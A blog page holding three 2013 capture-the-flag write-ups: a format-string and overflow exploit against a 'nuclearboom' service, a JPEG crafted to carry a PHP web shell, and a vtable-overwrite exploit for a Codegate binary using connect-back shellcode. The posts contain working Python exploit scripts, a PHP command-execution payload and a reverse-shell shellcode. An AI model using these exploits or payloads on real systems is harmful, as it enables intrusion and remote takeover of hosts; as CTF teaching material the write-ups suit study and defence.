codezen.fr code hacking, zen coding

24Mar/13Off

iCTF 2013 CTF – Nuclearboom Writeup

Posted by aXs

$ file nuclearboom
nuclearboom: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

Nuclearboom was a service binary in the iCTF 2013 Attack & Defense CTF. You use it to manage your various nuclear plants.

$ nc localhost 4444
Control Panel:
1) build a new nuclear plant
2) list existing nuclear plants
3) display info of a nuclear plant
4) edit an existing nuclear plant
5) get self-destruction code
6) set new self-destruction code
7) exit
Your choice: 5
Choice: 5
Password: lol?
Wrong password. And since the self-destruction code is exactly what the Sicilian hackers are supposed to get, I will not give it to you. I hope you understand.

We need to get the self-destruction code but we don't have the password.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x002620 0x002620 R E 0x1000
  LOAD           0x002f14 0x0804bf14 0x0804bf14 0x0001b4 0x000240 RW  0x1000
  DYNAMIC        0x002f28 0x0804bf28 0x0804bf28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x00219c 0x0804a19c 0x0804a19c 0x0000e4 0x0000e4 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RW  0x4
  GNU_RELRO      0x002f14 0x0804bf14 0x0804bf14 0x0000ec 0x0000ec R   0x1

Stack is not executable and .got/.dtor are read-only.

Where is the vulnerability ? After some disassembly and testing, we find a vulnerability in the sequence of checks of the "1) build a new nuclear plant" option.

Lets trace it in reverse order:

signed int __cdecl check_uranium_level(const char *plant_name)
{
  signed int status; // [sp+1Ch] [bp-Ch]@1

  status = 0;
  if ( *((_WORD *)plant_name + 54) <= 0 )
  {
    status = 1;
    printf("ARE YOU CRAZY? Uranium in nuclear plant \"");
    printf(plant_name);
    puts("\" is TOO HIGH!");
  }
  else
  {
    puts("OK");
  }
  return status;
}

Same thing in assembler:

.text:08049426                 mov     eax, [ebp+plant_name]
.text:08049429                 movzx   eax, word ptr [eax+6Ch]
.text:0804942D                 mov     [ebp+uranium_level], ax
.text:08049431                 mov     [ebp+status], 0
.text:08049438                 cmp     [ebp+uranium_level], 0
.text:0804943D                 jle     short uranium_too_high
.text:0804943F                 mov     dword ptr [esp], offset aOk ; "OK"
.text:08049446                 call    _puts
.text:0804944B                 jmp     short exit
.text:0804944D ; ---------------------------------------------------------------------------
.text:0804944D
.text:0804944D uranium_too_high:                       ; CODE XREF: check_uranium_level+1Dj
.text:0804944D                 mov     [ebp+status], 1
.text:08049454                 mov     eax, offset aAreYouCrazy?Ur ; "ARE YOU CRAZY? Uranium in nuclear plant"...
.text:08049459                 mov     [esp], eax      ; format
.text:0804945C                 call    _printf
.text:08049461                 mov     eax, [ebp+plant_name]
.text:08049464                 mov     [esp], eax      ; format
.text:08049467                 call    _printf
.text:0804946C                 mov     dword ptr [esp], offset aIsTooHigh ; "\" is TOO HIGH!"
.text:08049473                 call    _puts

In the check_uranium_level() function, there is an almost blinking format-string vulnerability. And when we add a new nuclear plant, we control the name so this is going to be very useful.

We need the uranium to be equal or lower than zero (remember this)

When is check_uranium_level() called ?

int __cdecl handle_plant_creation(plant_list *a1)
(...)
 ask_for_string((int)"Insert name: ", &plant_name, 0x70u);
  plant->id = plant_id;
  plant->oxygen = gen_random_num(150, 500);
  plant->carbon = gen_random_num(15, 100);
  plant->boron = gen_random_num(250, 800);
  plant->zirconium = gen_random_num(120, 900);
  plant->uranium = gen_random_num(10, 600);
  strcpy(plant->name, &plant_name);
  if ( check_secondary_elems_level((int)plant) )
  {
    puts("Error. One of the secondary element level is too high!");
  }
  else
  {
    if ( check_uranium_level(plant->name) )
    {
      puts("Error. Uranium level is too high!");
    }
    else
    {
      ++*(_DWORD *)&a1[1].plant[0];
      printf("Plant %s created successfully!\n", plant);
    }
  }

We can guess the various usage and size of the fields in the plant structure:

 0x0: name
0x64: oxygen
0x66: carbon
0x68: boron
0x6a: zirconium
0x6c: uranium
0x6e: id

IDA's Structure feature is extremely useful here, I used the following definition for the plant structure:

00000000 plant_struct    struc ; (sizeof=0x70)
00000000 name            db 100 dup(?)           ; string(C)
00000064 oxygen          dw ?
00000066 carbon          dw ?
00000068 boron           dw ?
0000006A zirconium       dw ?
0000006C uranium         dw ?
0000006E id              dw ?
00000070 plant_struct    ends

So to trigger our format-string vulnerability we need:
- Add a new plant
- Pass the secondary elements check
- Fail the Uranium check (uranium level <= 0) to trigger the debug message with the vulnerable printf But the uranium level is random generated: plant->uranium = gen_random_num(10, 600);

So we need to find a way to set the uranium level to zero or less.

Fortunately there is another vulnerability in the handle_plant_creation() function when dealing with the plant name, a good old buffer overflow:

ask_for_string((int)"Insert name: ", &plant_name, 112);

We accept 112 chars for the plant name while there is room for 100 chars in the plant structure: this will overwrite the element fields! Perfect for what we need. We will overwrite the secondary elements with valid values so that the check_secondary_elems_level() do not return an error and a negative value for the uranium level.

What can we do with the format string ? It's quite easy, we will use it to leak the self-destruction code or the password which are conveniently in the .bss section at fixed addresses:

.bss:0804C100 ; char auth_password[]
.bss:0804C100 auth_password   db 41h dup(?)           ; DATA XREF: main+2Ao
.bss:0804C100                                         ; main+4Co ...
.bss:0804C141                 public selfdestruction_code
.bss:0804C141 ; char selfdestruction_code[]
.bss:0804C141 selfdestruction_code db 11h dup(?)      ; DATA XREF: print_selfdestruction_code+Bo
.bss:0804C141                                         ; read_selfdestruction_file+38o ...

Enough explanations, lets move to the exploit:

import telnetlib
from struct import pack

ip = '1.2.3.4'
port = 4444

tn = telnetlib.Telnet(ip, port)

tn.read_until("Your choice: ")
tn.write("1\n")
tn.read_until("Insert name: ")

# selfdestruction_code offset
format = pack("<I", 0x0804C141)
# Rewind the stack until the find the beginning of this buffer
# then use the first 4 bytes as a offset to display a string
format += "%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X|%s"
buffer = format
buffer += '|' * (46 + 54 - len(format))
# Valid values for the secondary elements
buffer += pack('<H', 666) # oxygen
buffer += pack('<H', 666) # carbon
buffer += pack('<H', 666) # boron
buffer += pack('<H', 666) # zirconium
# Negative value to trigger the vulnerable debug message
buffer += pack('<h', -1) # uranium
buffer += pack('<H', 666) # id
buffer += "\n"

s = tn.get_socket()
s.send(buffer)

data = s.recv(1024)
print repr(data)
flag = data[136:].split('|')[1]
print "flag=", flag

tn.read_until("Your choice: ")
tn.write("7\n")

Output:

'ARE YOU CRAZY? Uranium in nuclear plant "A\xc1\x04\x086D603014B76C6FF4BFF66558B75B3FA470FFFF029A10BFF66E98BFF669A880491CEBFF66E28BFF66598700000000|FLGMVym8yKMeheic|||||||||||||||||||||||||||||||||||||||||||||||||||\x9a\x02\x9a\x02\x9a\x02\x9a\x02\xff\xff\x9a\x02" is TOO HIGH!\n'
flag= FLGMVym8yKMeheic
Share
17Mar/13Off

ForbidenBits CTF 2013 – Web 600 IMAFREAK Write-up

Posted by aXs

This is a quick post to give my solution for the IMAFREAK challenge.

What you need to succeed:
- A JPEG file with EXIF CameraModel tag sets to ".php" so that the file is created with filename secretstoreddata/.php
- Same JPEG file with the *RAW* Red plane containing a PHP shell

As you have understood, controlling the RAW output for a color plane is quite of hard as you can't really predict how the JPEG compression model will react to your input values.

So at first, I wrote a bruteforcer that would fuzz the RGB values of input pixels until it matched what I wanted but it was really slow. I ended up manually tuning many of those values for the perfect result (=spend many hours starring in an hex editor)

So here is the beast:

red-cmd-46

Zoomed:

zoom-red-46

I swear I will make a tshirt out of this one.

Lets check that the CameralTag tag contains ".php":

$ exiftool red-cmd-46.jpg
ExifTool Version Number         : 8.15
File Name                       : red-cmd-46.jpg
Directory                       : .
File Size                       : 921 bytes
File Modification Date/Time     : 2013:03:16 21:59:41+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Camera Model Name               : .php
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100000000.
Image Width                     : 32
Image Height                    : 1
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 32x1

Quality is over nine thousand of course.

How does the RAW Red plane looks after JPEG decoding ?

$ hexdump -C d09bf41544a3365a46c9077ebb5e35c3
00000000  3c 3f 50 48 50 20 53 59  53 54 45 4d 28 24 5f 47  |<?PHP SYSTEM($_G|
00000010  45 54 5b 30 5d 29 3b 3f  3e 03 01 00 00 00 00 00  |ET[0]);?>.......|

The full JPEG hexdump:

$ hexdump -C red-cmd-46.jpg
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |ÿØÿà..JFIF......|
00000010  00 01 00 00 ff e1 00 68  45 78 69 66 00 00 4d 4d  |....ÿá.hExif..MM|
00000020  00 2a 00 00 00 08 00 05  01 10 00 02 00 00 00 05  |.*..............|
00000030  00 00 00 4a 01 1a 00 05  00 00 00 01 00 00 00 50  |...J...........P|
00000040  01 1b 00 05 00 00 00 01  00 00 00 58 01 28 00 03  |...........X.(..|
00000050  00 00 00 01 00 01 00 00  02 13 00 03 00 00 00 01  |................|
00000060  00 01 00 00 00 00 00 00  2e 70 68 70 00 00 00 00  |.........php....|
00000070  00 01 00 00 00 01 00 00  00 01 00 00 00 01 ff fe  |..............ÿþ|
00000080  00 42 43 52 45 41 54 4f  52 3a 20 67 64 2d 6a 70  |.BCREATOR: gd-jp|
00000090  65 67 20 76 31 2e 30 20  28 75 73 69 6e 67 20 49  |eg v1.0 (using I|
000000a0  4a 47 20 4a 50 45 47 20  76 36 32 29 2c 20 71 75  |JG JPEG v62), qu|
000000b0  61 6c 69 74 79 20 3d 20  31 30 30 30 30 30 30 30  |ality = 10000000|
000000c0  30 0a ff db 00 43 00 01  01 01 01 01 01 01 01 01  |0.ÿÛ.C..........|
000000d0  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000100  01 01 01 01 01 01 01 ff  db 00 43 01 01 01 01 01  |.......ÿÛ.C.....|
00000110  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000140  01 01 01 01 01 01 01 01  01 01 01 01 ff c0 00 11  |............ÿÀ..|
00000150  08 00 01 00 20 03 01 22  00 02 11 01 03 11 01 ff  |.... ..".......ÿ|
00000160  c4 00 1f 00 00 01 05 01  01 01 01 01 01 00 00 00  |Ä...............|
00000170  00 00 00 00 00 01 02 03  04 05 06 07 08 09 0a 0b  |................|
00000180  ff c4 00 b5 10 00 02 01  03 03 02 04 03 05 05 04  |ÿÄ.µ............|
00000190  04 00 00 01 7d 01 02 03  00 04 11 05 12 21 31 41  |....}........!1A|
000001a0  06 13 51 61 07 22 71 14  32 81 91 a1 08 23 42 b1  |..Qa."q.2..¡.#B±|
000001b0  c1 15 52 d1 f0 24 33 62  72 82 09 0a 16 17 18 19  |Á.RÑð$3br.......|
000001c0  1a 25 26 27 28 29 2a 34  35 36 37 38 39 3a 43 44  |.%&'()*456789:CD|
000001d0  45 46 47 48 49 4a 53 54  55 56 57 58 59 5a 63 64  |EFGHIJSTUVWXYZcd|
000001e0  65 66 67 68 69 6a 73 74  75 76 77 78 79 7a 83 84  |efghijstuvwxyz..|
000001f0  85 86 87 88 89 8a 92 93  94 95 96 97 98 99 9a a2  |...............¢|
00000200  a3 a4 a5 a6 a7 a8 a9 aa  b2 b3 b4 b5 b6 b7 b8 b9  |£¤¥¦§¨©ª²³´µ¶·¸¹|
00000210  ba c2 c3 c4 c5 c6 c7 c8  c9 ca d2 d3 d4 d5 d6 d7  |ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×|
00000220  d8 d9 da e1 e2 e3 e4 e5  e6 e7 e8 e9 ea f1 f2 f3  |ØÙÚáâãäåæçèéêñòó|
00000230  f4 f5 f6 f7 f8 f9 fa ff  c4 00 1f 01 00 03 01 01  |ôõö÷øùúÿÄ.......|
00000240  01 01 01 01 01 01 01 00  00 00 00 00 00 01 02 03  |................|
00000250  04 05 06 07 08 09 0a 0b  ff c4 00 b5 11 00 02 01  |........ÿÄ.µ....|
00000260  02 04 04 03 04 07 05 04  04 00 01 02 77 00 01 02  |............w...|
00000270  03 11 04 05 21 31 06 12  41 51 07 61 71 13 22 32  |....!1..AQ.aq."2|
00000280  81 08 14 42 91 a1 b1 c1  09 23 33 52 f0 15 62 72  |...B.¡±Á.#3Rð.br|
00000290  d1 0a 16 24 34 e1 25 f1  17 18 19 1a 26 27 28 29  |Ñ..$4á%ñ....&'()|
000002a0  2a 35 36 37 38 39 3a 43  44 45 46 47 48 49 4a 53  |*56789:CDEFGHIJS|
000002b0  54 55 56 57 58 59 5a 63  64 65 66 67 68 69 6a 73  |TUVWXYZcdefghijs|
000002c0  74 75 76 77 78 79 7a 82  83 84 85 86 87 88 89 8a  |tuvwxyz.........|
000002d0  92 93 94 95 96 97 98 99  9a a2 a3 a4 a5 a6 a7 a8  |.........¢£¤¥¦§¨|
000002e0  a9 aa b2 b3 b4 b5 b6 b7  b8 b9 ba c2 c3 c4 c5 c6  |©ª²³´µ¶·¸¹ºÂÃÄÅÆ|
000002f0  c7 c8 c9 ca d2 d3 d4 d5  d6 d7 d8 d9 da e2 e3 e4  |ÇÈÉÊÒÓÔÕÖ×ØÙÚâãä|
00000300  e5 e6 e7 e8 e9 ea f2 f3  f4 f5 f6 f7 f8 f9 fa ff  |åæçèéêòóôõö÷øùúÿ|
00000310  da 00 0c 03 01 00 02 11  03 11 00 3f 00 fc 10 d0  |Ú..........?.ü.Ð|
00000320  7f e3 e3 e1 97 fd 8d 73  7f ea 1f f1 2a a2 f1 07  |.ããá.ý.s.ê.ñ*¢ñ.|
00000330  fc 95 1f 04 7f d7 8f c4  ef fd 56 e9 45 15 fc eb  |ü....×.ÄïýVéE.üë|
00000340  0f f7 ac 17 fd 93 b9 f7  fe ad 33 83 d6 7f 0c ff  |.÷¬.ý.¹÷þ­3.Ö..ÿ|
00000350  00 eb f5 2f fd 37 44 e5  fe 24 7d cf 0a 7f dd 3a  |.ëõ/ý7Dåþ$}Ï..Ý:|
00000360  ff 00 d3 7f c6 6a fc 53  f8 9d ff 00 25 27 e2 17  |ÿ.Ó.ÆjüSø.ÿ.%'â.|
00000370  fd 8f 1e 2c ff 00 d3 f6  a1 45 15 fd 3f 9c ff 00  |ý..,ÿ.Óö¡E.ý?.ÿ.|
00000380  c8 d7 37 ff 00 b0 fa 3f  fa aa cb cd 33 3f f7 7c  |È×7ÿ.°ú?úªËÍ3?÷||
00000390  37 f8 aa 7f e9 75 0f ff  d9                       |7øª.éu.ÿÙ|
Share
3Mar/13Off

Codegate 2013 Quals – Vuln 300 Write-up

Posted by aXs

This binary asks for a number and a string and outputs it. While playing with value, we notice a negative number for the number will crash the program.

$ nc 58.229.122.22 6666
Input Num : 32
Input Msg : TOTO
Reply :
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`TOTO

$ nc 58.229.122.22 6666
Input Num : 2048
Input Msg : TOTO
Reply :
TOTO

$ nc 58.229.122.22 6666
Input Num : -1
Input Msg : TOTO

The reverse engineered main part of the program is as follow:

- We create a new objet myClass
- Set the virtual function pointer for the do_reply function.
- Get inputs from user
- Copy user data to myClass
- Call myClass->do_reply

int __cdecl handler()
{
  int myClass; // ebx@1
  int size; // ST10_4@1

  myClass = operator new();
  set_do_reply_ptr(myClass);
  printf("Input Num : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  size = atoi(buffer);
  memset(buffer, 0, 2048u);
  printf("Input Msg : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  fflush(stdout);
  do_copy(myClass, buffer, size);
  (**(void (__cdecl ***)(_DWORD))myClass)(myClass);
  return 0;
}

The copy function is below. What we want is trick strncpy in overwriting the first 4 bytes of myClass which contains the virtual function pointers to do_reply.

char *__cdecl do_copy(int dest, const char *src, signed int size)
{
  char *result; // eax@5

  if ( size > 2047 )
  {
    result = strcpy((char *)(dest + 4), src);
  }
  else
  {
    for ( i = 0; (size ^ (size >> 31)) - (size >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + size), src, 2048 - ((size ^ (size >> 31)) - (size >> 31)));
  }
  return result;
}

If we use size = -4:

    for ( i = 0; (-4 ^ (-4 >> 31)) - (-4 >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));

-4 = b1111111111111111111111111111111111111111111111111111111111111100
-4 >> 31 = -1 = b1111111111111111111111111111111111111111111111111111111111111111

-4 ^ -1 = 3

So we can simplify the function as follow:

    for ( i = 0; (-4 ^ -1) - -1 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));

And even more:

    for ( i = 0; 4 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest), src, 2044);

strncpy will overwrite the beginning of myClass, bingo, we can control the virtual function pointer.

Let's check this with a debugger:

gdb$ run
Input Num : -4
Input Msg : ABCD
--------------------------------------------------------------------------[regs]
  EAX: 0x080491E0  EBX: 0x0804A008  ECX: 0x0804A00C  EDX: 0x0804A008  o d I t s z A P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF698  ESP: 0xBFFFF68C  EIP: 0x080488D5
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488d5: call   0x80485a8 <strncpy@plt>
   0x80488da: jmp    0x80488f1
   0x80488dc: mov    eax,DWORD PTR [ebp+0x8]
   0x80488df: lea    edx,[eax+0x4]
   0x80488e2: mov    eax,DWORD PTR [ebp+0xc]
   0x80488e5: mov    DWORD PTR [esp+0x4],eax
   0x80488e9: mov    DWORD PTR [esp],edx
   0x80488ec: call   0x80485f8 <strcpy@plt>
--------------------------------------------------------------------------------

Breakpoint 1, 0x080488d5 in ?? ()
gdb$ x/4x $esp
0xbffff68c: 0x0804a008  0x080491e0  0x000007fc  0xbffff6b8

Our calculations are correct, destination will be start of myClass.

Let's take a deeper look on how a virtual function call happends:

(**(void (__cdecl ***)(_DWORD))myClass)(myClass);

This translate in assembly to:

.text:08048825                 mov     eax, [ebp+var_C] ; myClass
.text:08048828                 mov     eax, [eax]       ; virtual function pointer offset
.text:0804882A                 mov     edx, [eax]       ; virtual function offset
.text:0804882C                 mov     eax, [ebp+var_C]
.text:0804882F                 mov     [esp], eax
.text:08048832                 call    edx              ; call virtual function

Lets check again with a debugger using -4 for size:

gdb$ run
Input Num : -4
Input Msg : ABCD

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x44434241  EBX: 0x0804A008  ECX: 0x000007F6  EDX: 0x000007F6  o d I t S z a p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF6B8  ESP: 0xBFFFF6A0  EIP: 0x0804882A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804882a: mov    edx,DWORD PTR [eax]
   0x804882c: mov    eax,DWORD PTR [ebp-0xc]
   0x804882f: mov    DWORD PTR [esp],eax
   0x8048832: call   edx
   0x8048834: mov    eax,0x0
   0x8048839: add    esp,0x14
   0x804883c: pop    ebx
   0x804883d: pop    ebp
--------------------------------------------------------------------------------
0x0804882a in ?? ()

Bingo. 'ABCD' (0x44434241) was written to the virtual function pointer.

Now it's only a matter of filling this buffer with a shellcode and jumping to it:

[A][B][SHELLCODE]

A will be the offset of B
B will be the offset of SHELLCODE

Since the binary is suid but is dropping privileges, we need to setreuid() to restore the suid user and access the key file.

import telnetlib
from struct import pack, unpack

# setreuid(geteuid())
shellcode = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80"
# connectback port 45295
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02" \
    "\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68"
shellcode += chr(1) + chr(2) + chr(3) + chr(4) # your IP
shellcode += "\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

host = '58.229.122.22'
port = 6666

tn = telnetlib.Telnet(host, port)

tn.read_until("Input Num : ")
tn.write("-4\n")
tn.read_until("Input Msg : ")

buffer =  pack('<I', 0x080491E0 + 4) # virtual function pointer offset
buffer += pack('<I', 0x080491E0 + 8) # virtual function offset
buffer += shellcode
buffer += "\n"

print repr(buffer)

s = tn.get_socket()
s.send(buffer)

data = True
while data:
    data = s.recv(1024)
    if data:
        print data

Result:

$ nc -v -l -p 45295
id
uid=502(S74R) gid=501(star) groups=502(S74R),501(star)
pwd
/
cd /home/S74R
cat key
Victoria Secret show they miss me ;)
Share